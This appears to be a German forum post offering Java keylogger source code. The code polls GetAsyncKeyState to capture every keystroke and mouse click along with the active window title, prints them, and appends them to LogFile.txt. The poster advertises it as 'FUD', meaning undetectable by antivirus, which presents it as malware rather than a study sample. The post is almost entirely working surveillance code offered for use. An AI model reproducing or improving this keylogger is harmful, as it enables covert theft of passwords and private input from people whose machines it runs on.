Hier ist eine kleine Keyloggermethode für euch die alle Tastenanschläge loggt und auf dem Bildschirm ausgibt...natürlich können die eingaben auch gespeichert werden...
Das ganze ist FUD
Code
void Logging() throws InterruptedException, IOException{
int zeichen = 0;
log = new FileWriter("LogFile.txt",true);
BufferedWriter out = new BufferedWriter(log);
getFensterText();
while(true){
for(int i=0;i<=90;i++)
if(User32.GetAsyncKeyState(i) == -32767){
if(i < 31){
switch(i){
case 1:System.out.print(" " + getFensterText() + " ->MouseLeftButton ");out.write(" " + getFensterText() + " ->MouseLeftButton ");break;
case 8:System.out.print("<==");out.write("<==");break;
case 16:System.out.print("__SHIFT__");out.write("__SHIFT__");break;
}
}else{
System.out.print((char)i);
out.write((char)i);
}
}
if(zeichen == 20){
out.write("\n");
System.out.println(0x000D);
}
zeichen++;
Thread.sleep(10);
out.flush();
}
}
Alles anzeigen